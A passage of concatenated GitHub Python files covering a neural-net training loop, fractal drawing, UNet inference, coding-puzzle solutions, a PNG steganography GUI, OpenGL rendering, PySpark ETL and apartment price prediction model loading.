low_steer_train[:int(0.1*len(low_steer_train))]\nhigh_steer_train = high_steer_train[:int(0.1*len(high_steer_train))]\n\nlow_steer_val = low_steer_val[:int(0.1*len(low_steer_val))]\nhigh_steer_val = high_steer_val[:int(0.1*len(high_steer_val))]\n\ncur_epoch = 0\nif args.resume is not None:\n    save_data = torch.load(args.resume)\n    net.load_state_dict(save_data['net'])\n    optimizer.load_state_dict(save_data['optim'])\n    cur_epoch = save_data['epoch']\nif args.validate is not None:\n    save_data = torch.load(args.validate)\n    net.load_state_dict(save_data['net'])\n\n    sum = 0\n    count = 0\n    notFinished = True  # Checks if finished with dataset\n    net.eval()\n    while notFinished:\n        random.shuffle(low_steer_val)\n        random.shuffle(high_steer_val)\n        # Load batch\n        progress, notFinished, batch_input, batch_metadata, batch_labels = get_batch_data(1, pick_validate_data)\n        if not notFinished:\n            break\n\n        # Run neural net + Calculate Loss\n        outputs = net(Variable(batch_input), Variable(batch_metadata)).cuda()\n\n        loss = criterion(outputs, Variable(batch_labels))\n        count += 1\n        sum += loss.data[0]\n\n        # print('Output:\\n' + str(outputs) + '\\nLabels:\\n' + str(batch_labels))\n        print('Average Loss: ' + str(sum / count))\nelse:\n    print(net)\n    log_file = open('logs/log_file' + str(datetime.datetime.now().isoformat()), 'w')\n    log_file.truncate()\n    try:\n        for epoch in range(cur_epoch, 10):  # Iterate through epochs\n            cur_epoch = epoch\n            # Training\n            notFinished = True  # Checks if finished with dataset\n            random.shuffle(low_steer_train)\n            random.shuffle(high_steer_train)\n            pb = ProgressBar(len(low_steer_train) + len(high_steer_train))\n            batch_counter = 0\n            sum = 0\n            sum_counter = 0\n            start = time.time()\n            net.train()\n            while notFinished:\n                # Load batch\n                progress, notFinished, batch_input, batch_metadata, batch_labels = get_batch_data(args.batch_size,\n                                                                                                  pick_data)\n                if not notFinished:\n                    break\n\n                # zero the parameter gradients\n                optimizer.zero_grad()\n\n                # Run neural net + Calculate Loss\n                outputs = net(Variable(batch_input), Variable(batch_metadata)).cuda()\n                loss = criterion(outputs, Variable(batch_labels))\n\n                # Backprop\n                loss.backward()\n                nnutils.clip_grad_norm(net.parameters(), 1.0)\n                optimizer.step()\n\n                # Update progress bar\n                pb.animate(progress)\n                batch_counter += 1\n                sum_counter += 1\n                sum += loss.data[0]\n\n                if sum_counter == 80:\n                    log_file.write(\n                        '\\n' + str(batch_counter) + ',' + str(sum / sum_counter))\n                    log_file.flush()\n                    sum = 0\n                    sum_counter = 0\n\n                if batch_counter % args.saverate == 0 and batch_counter != 0:\n                    low, high = pick_data()\n                    save_data = {'low_ctr': low, 'high_ctr': high, 'net': net.state_dict(),\n                                 'optim': optimizer.state_dict(), 'epoch': cur_epoch}\n                    torch.save(save_data, 'save/progress_save_' + str(epoch) + '-' + str(batch_counter))\n\n            sum = 0\n            count = 0\n            notFinished = True  # Checks if finished with dataset\n            pb = ProgressBar(len(low_steer_val) + len(high_steer_val))\n            net.eval()\n            while notFinished:\n                # Load batch\n                progress, notFinished, batch_input, batch_metadata, batch_labels = get_batch_data(1, pick_validate_data)\n\n                if not notFinished:\n                    break\n\n                # Run neural net + Calculate Loss\n                outputs = net(Variable(batch_input), Variable(batch_metadata)).cuda()\n                loss = criterion(outputs, Variable(batch_labels))\n                count += 1\n                sum += loss.data[0]\n\n                if count % 1000 == 0:\n                    pb.animate(progress)\n                    log_file.write('\\nAverage Validation Loss,' + str(sum / count))\n                    log_file.flush()\n\n            log_file.write('\\nFinish cross validation! Average Validation Error = ' + str(sum / count))\n            log_file.flush()\n            save_data = {'low_ctr': 0, 'high_ctr': 0, 'net': net.state_dict(),\n                         'optim': optimizer.state_dict(), 'epoch': cur_epoch}\n            torch.save(save_data, 'save/epoch_save_' + str(cur_epoch) + '.' + str(sum / count))\n    except Exception as e:  # In case of any exception or error, save the model.\n        log_file.write('\\nError Recieved while training. Saved model and terminated code:\\n' + str(e))\n        low, high = pick_data()\n        save_data = {'low_ctr': low, 'high_ctr': high, 'net': net.state_dict(),\n                     'optim': optimizer.state_dict(), 'epoch': cur_epoch}\n        torch.save(save_data, 'interrupt_save')\n        print('\\nError Recieved, Saved model!')\n    finally:\n        log_file.close()\n","repo_name":"sauhaardac/pytorch-neural-z2color","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32082473945","text":"\"\"\"Turtle drawing of my own pythagoras tree variation. https://en.wikipedia.org/wiki/Pythagoras_tree_(fractal).\"\"\"\nfrom turtle import *\nimport math\n\nANGLE_1 = 40\nANGLE_2 = 130\nSCALE_FACTOR = (math.sqrt(2) / 2)\n\nscreen = Screen()\nscreen.screensize(1584, 396, \"black\") \nscreen.tracer(0)\n\nturtle = Turtle()\nturtle.pencolor(\"white\")\nturtle.ht()\nturtle.speed(0)\n\ndef fractal(width: int, angle:int, start_pos, end_pos) -> None:\n    if width <= 4:\n       return\n\n    else:\n        draw_square(width)\n        top_left_pos = turtle.pos()\n        heading = turtle.heading()\n        turtle.left(ANGLE_1)\n        fractal(SCALE_FACTOR * width, angle, 0, 0)\n\n        turtle.goto(top_left_pos)\n        turtle.seth(heading)\n        turtle.fd(width)\n        turtle.left(ANGLE_2)\n        fractal(SCALE_FACTOR * width, angle, 0, 0)\n\ndef draw_square(width):\n    for count in range(3):\n        turtle.fd(width)\n        turtle.left(90)\n    turtle.fd(width)\n    turtle.bk(width)\n    turtle.left(90)\n    \n\nfractal(1000, 20, 0, 0)\nscreen.getcanvas().postscript(file=\"duck.eps\")\ndone()\n\n","repo_name":"MitchellJC/Fractals","sub_path":"(linkedin)pythagoras-tree.py","file_name":"(linkedin)pythagoras-tree.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15221629193","text":"import pandas as pd\nfrom unet.networks.unet3d import UNet3D\nfrom unet.utils.inferer import Inferer\nimport unet.utils.data_utils as utils\nimport torch\nimport numpy as np\n\nload_data_train_no_lab = pd.read_csv(\"data/data_test_stacked_channels.csv\")\nload_data_test = pd.read_csv(\"data/data_stacked_channels_training.csv\")\nload_data_test = load_data_test[load_data_test[\"train\"] == False]\n\nload_data = pd.concat([load_data_train_no_lab, load_data_test])\nload_data.reset_index(inplace=True, drop=True)\n\nmodel = UNet3D(\n    in_channels=2, out_channels=1, f_maps=32\n)\n\ntry:\n    model = utils.load_weights(\n        model, \n        weights_path=\"best_checkpoint.pytorch\", \n        device=\"cpu\", # Load to CPU and convert to GPU later\n        dict_key=\"state_dict\"\n    )\nexcept:\n    model = utils.load_weights(\n        model, \n        weights_path=\"../best_checkpoint.pytorch\", \n        device=\"cpu\", # Load to CPU and convert to GPU later\n        dict_key=\"state_dict\"\n    )\n\nmodel.to(\"cuda\")\n\ninfer = Inferer(\n    model=model, \n    patch_size=[24, 100, 100]\n    )\n\ninfer.predict_from_csv(load_data)","repo_name":"COBA-NIH/UNet_3D_C_elegans","sub_path":"run_inference_template.py","file_name":"run_inference_template.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70583468881","text":"def bracket_to_int(b):\n    if b == '(':\n        return 1\n    else:\n        return -1\n\ndef solution(p):\n    if len(p)==0:\n        #print(u, v)\n        return p\n    else:\n        u, v=split_String(p)\n        if is_RightString(u)==True:\n            return str(u)+solution(v)\n        else:\n            res=\"(\"+solution(v)+\")\"\n            u = ''.join(list(map(lambda x: '(' if x == ')' else ')', u)))\n            \"\"\"for i, s in enumerate(u):\n                if s==\"(\":\n                    u=u[:i]+\")\"+u[i+1:]\n                else:\n                    u=u[:i]+\"(\"+u[i+1:]\"\"\"\n            return res+str(u[1:-1])\n\ndef is_RightString(p):\n    count=0\n    for val in p:\n        if count<0:\n            return False\n        count += bracket_to_int(val)\n    return True\n\ndef split_String(p):\n    count=0\n    for i, val in enumerate(p):\n        count += bracket_to_int(val)\n        if count==0:\n            return p[:i+1], p[i+1:]\n    return p, \"\"\n\np1=\"(()())()\"\np2=\")(\"\np3=\"()))((()\"\n\n#print(p1[1:-1])\nprint(solution(p1))\nprint(solution(p2))\nprint(solution(p3))\n\n#print(is_RightString(p1))\n#print(is_RightString(p2))\n#print(is_RightString(p3))\n\n#print(split_String(p1))\n#print(split_String(p2))\n#print(split_String(p3))\n","repo_name":"YoungmyoungKim/Programmers","sub_path":"괄호변환.py","file_name":"괄호변환.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17245725140","text":"import threading\nimport time\nfrom playsound import playsound\nfrom customtkinter import *\nfrom tkinterdnd2 import TkinterDnD, DND_ALL\nfrom tkinter.filedialog import askopenfilename, asksaveasfilename\nfrom tkinter.messagebox import showerror\nfrom stegano import lsb\n\nset_appearance_mode(\"dark\")\nset_default_color_theme(\"FlipperZeroTheme.json\")\n\nclass Tk(CTk, TkinterDnD.DnDWrapper):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.TkdndVersion = TkinterDnD._require(self)\n\ndef show_error():\n\n    showerror(\"ERROR\", \"Expected a PNG image but received another file\")\n\ndef process_drag_and_drop(event):\n    if event.data.endswith(\".png\") or event.data.endswith(\".PNG\"):\n        playsound('Sound.mp3', False)\n        encode_or_decode(event.data)\n    else:\n        show_error()\n\nFILE = None\nprogressbar = None\nimg = None\nframe = None\ndef encode_img(text):\n    global progressbar, img\n    img = lsb.hide(FILE, text)\n    progressbar.stop()\n\n    for x in range(0, 101):\n        progressbar.set(x/100)\n        root.update()\n    playsound('Sound.mp3', False)\n\n    time.sleep(0.5)\n    for widget in frame.winfo_children():\n        widget.destroy()\n\n    save_btn = CTkButton(frame, text=\"Click Here to Download the Image\", font=(\"HaxrCorp4089\", 70), command=save)\n    save_btn.place(anchor=\"center\", relx=0.5, rely=0.5)\n\n    go_back = CTkButton(frame, text=\"< Go Back\", font=(\"HaxrCorp4089\", 70), command=home)\n    go_back.place(anchor=\"nw\", x=20, y=20)\n    save()\n\ndef save():\n    file = asksaveasfilename()\n    if file != \"\":\n        if file.endswith(\".png\"):\n            img.save(file)\n        else:\n            img.save(file+\".png\")\n\ndef encode(text):\n    global progressbar\n\n\n    for widget in frame.winfo_children():\n        widget.destroy()\n    description = CTkLabel(frame, text=\"Working On It.....\", font=(\"HaxrCorp4089\", 50), anchor=\"w\")\n    description.pack(fill=\"x\", pady=20, padx=20)\n    progressbar = CTkProgressBar(frame, height=50, corner_radius=3)\n    progressbar.pack(expand=True, fill=\"x\", padx=20)\n    progressbar.start()\n    t1 = threading.Thread(target=encode_img, args=(text, ))\n    t1.start()\n\n\n\n\n\n\n\ndef encode_ui():\n    playsound('Sound.mp3', False)\n\n    for widget in frame.winfo_children():\n        widget.destroy()\n\n    data = CTkTextbox(frame, height=300, font=(\"HaxrCorp4089\", 50))\n    data.pack(expand=True, fill=\"both\", padx=20, pady=20)\n\n    encode_btn = CTkButton(frame, font=(\"HaxrCorp4089\", 70), text=\" Encode\", anchor=\"w\", command=lambda : encode(data.get(0.0, \"end\")))\n    encode_btn.pack(expand=True, fill=\"both\", padx=20, pady=(0, 20))\n\n\ndef decode_ui():\n    playsound('Sound.mp3', False)\n\n    for widget in frame.winfo_children():\n        widget.destroy()\n    try:\n        data = lsb.reveal(FILE)\n        text = CTkLabel(frame, text=data, font=(\"HaxrCorp4089\", 70), wraplength=700, fg_color=\"transparent\", bg_color=\"transparent\")\n        text.place(anchor=\"center\", relx=0.5, rely=0.5)\n\n        go_back = CTkButton(frame, text=\"< Go Back\", font=(\"HaxrCorp4089\", 70), command=home)\n        go_back.place(anchor=\"nw\", x=20, y=20)\n    except Exception as e:\n        showerror(\"Error\", e)\n        go_back = CTkButton(frame, text=\"< Go Back\", font=(\"HaxrCorp4089\", 70), command=home)\n        go_back.place(anchor=\"nw\", x=20, y=20)\n\n\n\n\n\ndef encode_or_decode(file):\n    global FILE\n    playsound('Sound.mp3', False)\n\n    for widget in frame.winfo_children():\n        widget.destroy()\n\n    FILE = file\n\n    encodeOption = CTkFrame(frame)\n    encodeOption.pack(padx=20, pady=30, expand=True, fill=\"both\", side=\"left\")\n    encodeOption.bind(\"<Enter>\", lambda e: encodeOption.configure(fg_color=\"#814007\"))\n    encodeOption.bind(\"<Leave>\", lambda e: encodeOption.configure(fg_color=\"#000000\"))\n    encodeOption.bind(\"<Button-1>\", lambda e: encode_ui())\n\n    description = CTkLabel(encodeOption, text=\"Add data to the image   \", font=(\"HaxrCorp4089\", 50), anchor=\"w\")\n    description.pack(side=\"bottom\", fill=\"x\", pady=20, padx=20)\n    description.bind(\"<Enter>\", lambda e: encodeOption.configure(fg_color=\"#814007\"))\n    description.bind(\"<Leave>\", lambda e: encodeOption.configure(fg_color=\"#000000\"))\n    description.bind(\"<Button-1>\", lambda e: encode_ui())\n\n    title = CTkLabel(encodeOption, text=\"Encode\", font=(\"HaxrCorp4089\", 70), anchor=\"w\")\n    title.pack(side=\"bottom\", fill=\"x\", pady=0, padx=20)\n    title.bind(\"<Enter>\", lambda e: encodeOption.configure(fg_color=\"#814007\"))\n    title.bind(\"<Leave>\", lambda e: encodeOption.configure(fg_color=\"#000000\"))\n    title.bind(\"<Button-1>\", lambda e: encode_ui())\n\n\n\n    decodeOption = CTkFrame(frame)\n    decodeOption.pack(padx=20, pady=30, expand=True, fill=\"both\", side=\"left\")\n    decodeOption.bind(\"<Enter>\", lambda e: decodeOption.configure(fg_color=\"#814007\"))\n    decodeOption.bind(\"<Leave>\", lambda e: decodeOption.configure(fg_color=\"#000000\"))\n    decodeOption.bind(\"<Button-1>\", lambda e: decode_ui())\n\n    description = CTkLabel(decodeOption, text=\"Decode data in the image\", font=(\"HaxrCorp4089\", 50), anchor=\"w\")\n    description.pack(side=\"bottom\", fill=\"x\", pady=20, padx=20)\n    description.bind(\"<Enter>\", lambda e: decodeOption.configure(fg_color=\"#814007\"))\n    description.bind(\"<Leave>\", lambda e: decodeOption.configure(fg_color=\"#000000\"))\n    description.bind(\"<Button-1>\", lambda e: decode_ui())\n\n    title = CTkLabel(decodeOption, text=\"Decode\", font=(\"HaxrCorp4089\", 70), anchor=\"w\")\n    title.pack(side=\"bottom\", fill=\"x\", pady=0, padx=20)\n    title.bind(\"<Enter>\", lambda e: decodeOption.configure(fg_color=\"#814007\"))\n    title.bind(\"<Leave>\", lambda e: decodeOption.configure(fg_color=\"#000000\"))\n    title.bind(\"<Button-1>\", lambda e: decode_ui())\n\n\n\n\n\n\ndef choose_file():\n    file = askopenfilename()\n\n    if file != \"\":\n        if file.endswith(\".png\") or file.endswith(\".PNG\"):\n            playsound('Sound.mp3', False)\n\n            encode_or_decode(file)\n        else:\n            show_error()\n\nroot = Tk()\nroot.geometry(\"900x500\")\nroot.title(\"Hide Data\")\n\ndef home():\n    global frame\n    if frame != None:\n        frame.destroy()\n        playsound('Sound.mp3', False)\n\n\n    frame = CTkFrame(root)\n    frame.pack(padx=20, pady=20, expand=True, fill=\"both\")\n\n    text = CTkLabel(frame, text=\"Drag and Drop the Image or Choose the File\", font=(\"HaxrCorp4089\", 50))\n    text.pack(pady=20)\n\n    dnd_frame = CTkFrame(frame)\n    dnd_frame.pack(padx=30, pady=(10, 30), expand=True, fill=\"both\")\n\n    dnd_frame.drop_target_register(DND_ALL)\n    dnd_frame.dnd_bind(\"<<Drop>>\", process_drag_and_drop)\n\n\n    lbl = CTkButton(dnd_frame, text=\"Click to choose the file or Drag and Drop the File\", font=(\"HaxrCorp4089\", 30), hover=False, fg_color=\"transparent\", command=choose_file)\n    lbl.pack(expand=True, fill=\"both\")\n\nhome()\n\nroot.mainloop()\n","repo_name":"rigvedmaanas/HideData","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"26961566675","text":"\"\"\"\n93. Restore IP Addresses\n\nGiven a string containing only digits, restore it by returning all possible valid IP address combinations.\n\nFor example:\nGiven \"25525511135\",\n\nreturn [\"255.255.11.135\", \"255.255.111.35\"]. (Order does not matter)\n\n\"\"\"\n# Solution: Backtrack, base case is iter == 1 and int(string) < 256\n# MOWN but with bugs\nclass Solution(object):\n    def restoreIpAddresses(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: List[str]\n        \"\"\"\n        if not s:\n            return list()\n\n        return self.Helper(s, 4)\n\n    def Helper(self, string, iter):\n        if not string:\n            return None\n\n        if iter == 1 and int(string) < 256:\n            if str(int(string)) != string:  # Bug for the case \"010010\"\n                return None\n\n            return [string]\n\n        elif iter == 1 and int(string) > 255:\n            return None\n\n        result = list()\n        for i in range(len(string)):\n            if string[0] == '0' and i > 0:  # Bug for the case \"010010\"\n                break\n\n            if int(string[:i + 1]) < 256:\n                tresult = self.Helper(string[i + 1:], iter - 1)\n                if tresult:\n                    for res in tresult:\n                        result.append(string[:i + 1] + '.' + res)\n            else:\n                break\n\n        return result\n","repo_name":"tejamupparaju/LeetCode_Python","sub_path":"leet_Code93.py","file_name":"leet_Code93.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27100276609","text":"import pygame\nfrom pygame.locals import *\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nfrom threading import Thread \n\nvertices = (\n\t(1, -1, -1),\n\t(1, 1, -1),\n\t(-1, 1, -1),\n\t(-1, -1, -1),\n\t(1, -1, 1),\n\t(1, 1, 1),\n\t(-1, -1, 1),\n\t(-1, 1, 1)\n)\n\nedges = (\n\t(0, 1),\n\t(0, 3),\n\t(0, 4),\n\t(2, 1),\n\t(2, 3),\n\t(2, 7),\n\t(6, 3),\n\t(6, 4),\n\t(6, 7),\n\t(5, 1),\n\t(5, 4),\n\t(5, 7)\n)\n\npygame.init()\n\nscreenSize = (600, 600)\npygame.display.set_mode(screenSize, DOUBLEBUF | OPENGL)\n\nclock = pygame.time.Clock()\n\nglMatrixMode(GL_PROJECTION)\ngluPerspective(45, (screenSize[0] / screenSize[1]), 0.1, 50.0)\nglMatrixMode(GL_MODELVIEW)\nglTranslate(0, -3, -30)\n\ncurrent_mv_mat = (GLfloat * 16)()\n\n\n\nglGetFloatv(GL_MODELVIEW_MATRIX, current_mv_mat)\nglLoadIdentity()\n\nglMultMatrixf(current_mv_mat)\n\n\nglPushMatrix()\n\nglGetFloatv(GL_MODELVIEW_MATRIX, current_mv_mat)\nglLoadIdentity()\nglRotatef(0, 1, 0, 0)\nglMultMatrixf(current_mv_mat)\n\ndef teste():\n    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n    for i in range(8):\n        for j in range(8):\n            glBegin(GL_LINES)\n            for edge in edges:\n                for vertex in edge:\n                    glVertex3f(vertices[vertex][0] + i, vertices[vertex][1], vertices[vertex][2] + j)\n            glEnd()\n\n    glPopMatrix()\n\nt = Thread(target=teste)\nt.start()\n\nwhile True:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            pygame.quit()\n            quit()\n\n    pressed = pygame.key.get_pressed()\n\n    if pressed[pygame.K_ESCAPE]:\n        pygame.quit()\n        quit()\n\n    pygame.display.flip()\n    clock.tick(60)\n    \n","repo_name":"r7melo/Minecraft-with-PyOpenGL","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71328215442","text":"import pyspark.sql.functions as F\nfrom pyspark.sql.window import Window\nfrom anp_etl.shared import get_spark_session\n\n\ndef create_lag_price_and_lag_date_table(input_path, output_path):\n\n    spark = get_spark_session()\n\n    df = spark.read.parquet(input_path)\n\n    w = Window().partitionBy(\"CNPJ da Revenda\", \"Produto\").orderBy(\"Data da Coleta\")\n\n    df = df.withColumn(\"Valor de Venda Anterior\", F.lag(\"Valor de Venda\").over(w))\n    df = df.withColumn(\"Data da Coleta Anterior\", F.lag(\"Data da Coleta\").over(w))\n\n    df = df.withColumn(\n        \"Dias entre Coletas\", F.datediff(F.col(\"Data da Coleta\"), F.col(\"Data da Coleta Anterior\"))\n    )\n\n    df = df.withColumn(\"Year\", F.year(\"Data da Coleta\"))\n    df = df.withColumn(\"Month\", F.month(\"Data da Coleta\"))\n\n    (df.write.mode(\"overwrite\").partitionBy(\"Year\", \"Month\").format(\"parquet\").save(output_path))\n\n\ndef create_gas_stations_table(input_path, output_path):\n\n    spark = get_spark_session()\n\n    df = spark.read.parquet(input_path)\n\n    w = Window().partitionBy(\"CNPJ da Revenda\").orderBy(F.col(\"Data da Coleta\").desc())\n\n    df = df.withColumn(\"row_number\", F.row_number().over(w))\n\n    df = df.filter(F.col(\"row_number\") == 1)\n\n    cols_to_use = [\n        \"Regiao - Sigla\",\n        \"Estado - Sigla\",\n        \"Municipio\",\n        \"Revenda\",\n        \"CNPJ da Revenda\",\n        \"Nome da Rua\",\n        \"Numero Rua\",\n        \"Complemento\",\n        \"Bairro\",\n        \"Cep\",\n        \"Bandeira\",\n    ]\n\n    df = df.select(*cols_to_use)\n\n    (df.write.mode(\"overwrite\").format(\"parquet\").save(output_path))\n","repo_name":"felipesassi/anp-etl","sub_path":"anp_etl/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"40110652515","text":"TABLE_HEADER = [\"Начальная цена\", \"Скидка\", \"Цена со скидкой\"]\nCOLUMN_SPACING_LENGTH = 6\nCOLUMN_SPACING = \" \" * COLUMN_SPACING_LENGTH\n\ndiscount = .6\nbase_prices = [4.95, 14244.95, 144444.95, 19.95, 24.95, 333333]\n\ntable = [COLUMN_SPACING.join(TABLE_HEADER), ]\n\nfor price in base_prices:\n    table_row_base_price = f\"{price:.2f}$\"\n    table_row_discount = f\"{discount:.0%}\"\n    table_row_discount_price = f\"{price - price * discount:.2f}$\"\n\n    position_discount = \" \" * (len(TABLE_HEADER[0]) + COLUMN_SPACING_LENGTH - len(table_row_base_price))\n    position_discount_price = \" \" * (len(TABLE_HEADER[1]) + COLUMN_SPACING_LENGTH - len(table_row_discount))\n    table_row = \"\".join(\n        [\n            table_row_base_price,\n            position_discount,\n            table_row_discount,\n            position_discount_price,\n            table_row_discount_price\n        ]\n    )\n    table.append(table_row)\n\nprint(\"\\n\".join(table))\n","repo_name":"isys35/PYTHON_2004_LESSONS","sub_path":"lesson7/tasks/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40508907106","text":"import json\nimport numpy as np\nfrom scipy.special import inv_boxcox1p\nfrom joblib import load\n\n# -------------Utility Part-----------\n\n\n# -----Shumen-------\n\n# Defining global variables for Shumen\n__locations_shumen = None\n__data_columns_shumen = None\n__build_method_shumen = None\n__elasticnet_shumen = None\n__ridge_shumen = None\n__lasso_shumen = None\n__gbr_shumen = None\n__xgboost_shumen = None\n__stack_shumen = None\n\n\n# Blending the differrent models\ndef blend_model_shumen(X):\n    return (\n        (0.05 * __elasticnet_shumen.predict(X))\n        + (0.1 * __lasso_shumen.predict(X))\n        + (0.05 * __ridge_shumen.predict(X))\n        + (0.2 * __gbr_shumen.predict(X))\n        + (0.3 * __xgboost_shumen.predict(np.array(X)))\n        + (0.3 * __stack_shumen.predict(np.array(X)))\n    )\n\n\ndef get_predict_price_shumen(location, m2, rooms, floor, build):\n    \"\"\"A function that returns the predicted price, using the regresssion model and user inputs\"\"\"\n    try:\n        # finding the index of the filled in location, converted to lower case\n        loc_index = __data_columns_shumen.index(location.lower())\n    except:\n        loc_index = -1\n    try:\n        # similar for building method\n        build_index = __data_columns_shumen.index(build.lower())\n    except:\n        build_index = -1\n\n    # Creating an array long as the lenght of number of columns\n    x = np.zeros(len(__data_columns_shumen))\n    # Assigning m2, room and floor inputs\n    x[0], x[1], x[2] = m2, rooms, floor\n    # Using the location index to assign a dummy\n    if loc_index >= 0:\n        x[loc_index] = 1\n    # Same for the build method\n    if build_index >= 0:\n        x[build_index] = 1\n\n    # We use the blended model for the price prediction\n    return round(blend_model_shumen([x])[0], 0)\n\n\ndef get_location_names_shumen():\n    \"\"\"Function which returns locations data\"\"\"\n\n    return __locations_shumen\n\n\ndef get_build_method_shumen():\n    \"\"\"Function which returns building method data\"\"\"\n\n    return __build_method_shumen\n\n\ndef load_saved_artifacts_shumen():\n    \"\"\"Function which loads server artifacts files, from which we extract data , locations and build method and model, used for prediction\"\"\"\n\n    print(\"loading saved Shumen artifacts...start\")\n    global __data_columns_shumen\n    global __locations_shumen\n    global __build_method_shumen\n    global __elasticnet_shumen\n    global __ridge_shumen\n    global __lasso_shumen\n    global __gbr_shumen\n    global __xgboost_shumen\n    global __stack_shumen\n\n    # We load the columns data from the json file\n    with open(\"./artifacts/shumen_columns.json\", \"r\", encoding=\"utf-8\") as f:\n        # loading all the columns\n        __data_columns_shumen = json.load(f)[\"data_columns\"]\n        # here we define just the location columns\n        __locations_shumen = __data_columns_shumen[3:-3]\n        # the same for the build method\n        __build_method_shumen = __data_columns_shumen[-3:]\n\n    # We load the models from the joblib/pickle file\n    __elasticnet_shumen = load(\n        \"./artifacts/shumen_appartament_price_model_elasticnet.joblib\"\n    )\n    __ridge_shumen = load(\"./artifacts/shumen_appartament_price_model_ridge.joblib\")\n    __lasso_shumen = load(\"./artifacts/shumen_appartament_price_model_lasso.joblib\")\n    __gbr_shumen = load(\"./artifacts/shumen_appartament_price_model_gbr.joblib\")\n    __xgboost_shumen = load(\"./artifacts/shumen_appartament_price_model_xgboost.joblib\")\n    __stack_shumen = load(\"./artifacts/shumen_appartament_price_model_stack.joblib\")\n\n    print(\"loading saved  Shumen artifacts...done\")\n\n\n# # --------------------------------Plovdiv----------------------\n\n# Defining global variables for Plovdiv\n__locations_plovdiv = None\n__data_columns_plovdiv = None\n__build_method_plovdiv = None\n__elasticnet_plovdiv = None\n__ridge_plovdiv = None\n__lasso_plovdiv = None\n__gbr_plovdiv = None\n__xgboost_plovdiv = None\n__stack_plovdiv = None\n\n\n# Blending the differrent models\ndef blend_model_plovdiv(X):\n    return (\n        (0.05 * __elasticnet_plovdiv.predict(X))\n        + (0.1 * __lasso_plovdiv.predict(X))\n        + (0.05 * __ridge_plovdiv.predict(X))\n        + (0.2 * __gbr_plovdiv.predict(X))\n        + (0.3 * __xgboost_plovdiv.predict(np.array(X)))\n        + (0.3 * __stack_plovdiv.predict(np.array(X)))\n    )\n\n\ndef get_predict_price_plovdiv(location, m2, rooms, floor, build):\n    \"\"\"A function that returns the predicted price, using the regresssion model and user inputs\"\"\"\n    try:\n        # finding the index of the filled in location, converted to lower case\n        loc_index = __data_columns_plovdiv.index(location.lower())\n    except:\n        loc_index = -1\n    try:\n        # similar for building method\n        build_index = __data_columns_plovdiv.index(build.lower())\n    except:\n        build_index = -1\n\n    # Creating an array long as the lenght of number of columns\n    x = np.zeros(len(__data_columns_plovdiv))\n    # Assigning m2, room and floor inputs\n    x[0], x[1], x[2] = m2, rooms, floor\n    # Using the location index to assign a dummy\n    if loc_index >= 0:\n        x[loc_index] = 1\n    # Same for the build method\n    if build_index >= 0:\n        x[build_index] = 1\n\n    # We use the inverted box cox transformtion to get the real price\n    return round(inv_boxcox1p(blend_model_plovdiv([x])[0], 0.3), 0)\n\n\ndef get_location_names_plovdiv():\n    \"\"\"Function which returns locations data\"\"\"\n\n    return __locations_plovdiv\n\n\ndef get_build_method_plovdiv():\n    \"\"\"Function which returns building method data\"\"\"\n\n    return __build_method_plovdiv\n\n\ndef load_saved_artifacts_plovdiv():\n    \"\"\"Function which loads server artifacts files, from which we extract data , locations and build method and model, used for prediction\"\"\"\n\n    print(\"loading saved Plovdiv artifacts...start\")\n    global __data_columns_plovdiv\n    global __locations_plovdiv\n    global __build_method_plovdiv\n    global __elasticnet_plovdiv\n    global __ridge_plovdiv\n    global __lasso_plovdiv\n    global __gbr_plovdiv\n    global __xgboost_plovdiv\n    global __stack_plovdiv\n\n    # We load the columns data from the json file\n    with open(\"./artifacts/plovdiv_columns.json\", \"r\", encoding=\"utf-8\") as f:\n        # loading all the columns\n        __data_columns_plovdiv = json.load(f)[\"data_columns\"]\n        # here we define just the location columns\n        __locations_plovdiv = __data_columns_plovdiv[3:-3]\n        # the same for the build method\n        __build_method_plovdiv = __data_columns_plovdiv[-3:]\n\n    # We load the models from the joblib/pickle file\n    __elasticnet_plovdiv = load(\n        \"./artifacts/plovdiv_appartament_price_model_elasticnet.joblib\"\n    )\n    __ridge_plovdiv = load(\"./artifacts/plovdiv_appartament_price_model_ridge.joblib\")\n    __lasso_plovdiv = load(\"./artifacts/plovdiv_appartament_price_model_lasso.joblib\")\n    __gbr_plovdiv = load(\"./artifacts/plovdiv_appartament_price_model_gbr.joblib\")\n    __xgboost_plovdiv = load(\n        \"./artifacts/plovdiv_appartament_price_model_xgboost.joblib\"\n    )\n    __stack_plovdiv = load(\"./artifacts/plovdiv_appartament_price_model_stack.joblib\")\n\n    print(\"loading saved  Plovdiv artifacts...done\")\n\n\n# # -----------------------------Veliko Tarnovo--------------\n\n# Defining global variables for Tarnovo\n__locations_tarnovo = None\n__data_columns_tarnovo = None\n__build_method_tarnovo = None\n__elasticnet_tarnovo = None\n__ridge_tarnovo = None\n__lasso_tarnovo = None\n__gbr_tarnovo = 